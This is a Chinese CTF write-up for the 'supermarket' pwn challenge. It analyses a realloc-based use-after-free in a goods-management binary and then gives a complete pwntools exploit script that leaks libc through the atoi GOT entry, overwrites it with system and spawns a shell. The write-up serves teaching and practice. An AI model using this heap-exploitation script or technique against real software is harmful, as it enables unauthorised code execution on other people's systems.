【PWN系列】攻防世界 supermarket 题解

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

参考网址:

https://blog.csdn.net/seaaseesa/article/details/103093182
https://blog.csdn.net/qq_44370676/article/details/108229050(较详细)

分析

在这里插入图片描述

在这里插入图片描述
大概看了一个,是一个商品系统。一个商品含有名字、价格、描述,并且程序有五个功能

1、添加商品
2、删除商品
3、展示商品
4、修改商品价格
5、修改商品的描述

题外:我比较菜,不知道这个结构体怎么分析出来。但是我大概知道它内存分配情况。

查看添加商品代码。
在这里插入图片描述
每添加的一个商品都会放到一个数组里,该数组是全局变量,存放在bss段。
可以看到添加一个商品会分配两个堆。

第一个堆分配28个字节,存储的内容如下
1、name(16字节)
2、price (4字节)
3、descrip_size(4字节)
4、descrip的地址(4字节)

第二个堆会分配descrip_size大小的堆,存储的内容如下:
1、descrip的内容(descrip_size个字节)

假设这里我们创建了一个商品,内容如下
1、name 为 2
2、price 为 10
3、descrip_size 为 0x20
4、descript 为 ‘b’*0x10

那么内存分配图如下。画的有点乱,不过应该可以看懂。可以看到分配了两个堆,一个堆的首地址为0x9f7b248。第二个堆的首地址为0x9f7b278
在这里插入图片描述

大概知道这个题的内容后,开始找漏洞。
下图,程序获取用户输入的时候,只获取n-1个字符,n是用户输入的字符个数,然后把最后一位置0,这里不存在漏洞。
在这里插入图片描述
在删除商品的代码中,可以看到free了两次,第一次free的是第二个堆,第二次free的是第一个堆,并且可以看到都置为0了。没有double free漏洞。
在这里插入图片描述

在修改descrip的代码中使用了relloc函数。

在这里插入图片描述

realloc函数作用大概如下:

1)如果当前内存段后面有需要的内存空间,则直接扩展这段内存空间,realloc()将返回原指针。
2)如果当前内存段后面的空闲字节不够,那么就使用堆中的第一个能够满足这一要求的内存块,将目前的数据复制到新的位置,并将原来的数据块释放掉,返回新的内存块位置。
3)如果申请失败,将返回NULL,此时,原来的指针仍然有效。

如果我们输入的大小大于原来的descript的大小,realloc的返回值并没有重新赋值给商品的descrip属性。导致商品的descrip属性还是指向的原来的区域,而这块区域已经被realloc给free掉了,所以导致了UAF漏洞。

利用

利用思路:
1、先分配一个大于fast bin(0x80)最大大小的商品,记为Node0。
再分配一个小点的Node1,用来分隔,如果不用node1来分隔,则realoc直接扩展Node0的descript的大小至新size。
2、编辑Node0,修改大小为0x90,则重新分配一个大小为0x90的堆。然后free掉Node0->descript。
3、创建Node2,让Node2分配到free后的Node0->descript。
4、修改Node0->descript即修改Node2。那么我们修改Node2->descript指向atoi的got表。
5、查看所有商品泄露atoi真实地址,找出Libc版本,获取system真实地址
6、修改Node2->descript即修改atoi的got表,修改为system地址即可。
7、下次调用atoi的时候,发送’/bin/sh’即可获得shell。

Exploit

#coding:utf8  
from pwn import *  
from LibcSearcher import *  
  
sh = process('./supermarket')  
# sh = remote('220.249.52.133',55295)  
elf = ELF('./supermarket')  
atoi_got = elf.got['atoi']  
context.log_level="debug"
#gdb.attach(sh)
def create(index,size,content):  
   sh.sendlineafter('your choice>>','1')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('price:','10')  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
  
def delete(index):  
   sh.sendlineafter('your choice>>','2')  
   sh.sendlineafter('name:',str(index))  
  
def show():  
   sh.sendlineafter('your choice>>','3')  
  
def edit(index,size,content):  
   sh.sendlineafter('your choice>>','5')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
  
#node0  
create(0,0x80,'a'*0x10)  
#node1,只用来做分隔作用,防止realloc直接扩大堆空间。
create(1,0x20,'b'*0x10)  
#realloc node0->description  
#注意不要加任何数据,因为我们发送的数据写入到的是Node->descript,此时Node->descript是free状态,这会导致后面malloc时出错  
edit(0,0x90,'')  
#现在node2将被分配到node0的原description处  
create(2,0x30,'d'*0x10)  #       20 is price
payload = '2'.ljust(16,'\x00') + p32(20) + p32(0x20) + p32(atoi_got)  
#由于没有把realloc返回的指针赋值给node0->description,因此node0->description还是原来那个地址处,现在存的是node1  
#因此edit(0)就是编辑node1的结构体,我们通过修改,把node1->description指向atoi的got表  
edit(0,0x80,payload)  
#泄露信息  
show()  
sh.recvuntil('2: price.20, des.')  
#泄露atoi的加载地址  
atoi_addr = u32(sh.recvuntil('\n').split('\n')[0].ljust(4,'\x00'))  
  
libc = LibcSearcher('atoi',atoi_addr)  # 7  
libc_base = atoi_addr - libc.dump('atoi')  
system_addr = libc_base + libc.dump('system')  
#修改atoi的表,将它指向system  
edit(2,0x20,p32(system_addr))  
#getshell  
sh.sendlineafter('your choice>>','/bin/sh')  
  
sh.interactive()  


欢迎一起学习交流,共同进步,欢迎加入信息安全小白群

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_41918771/article/details/109377801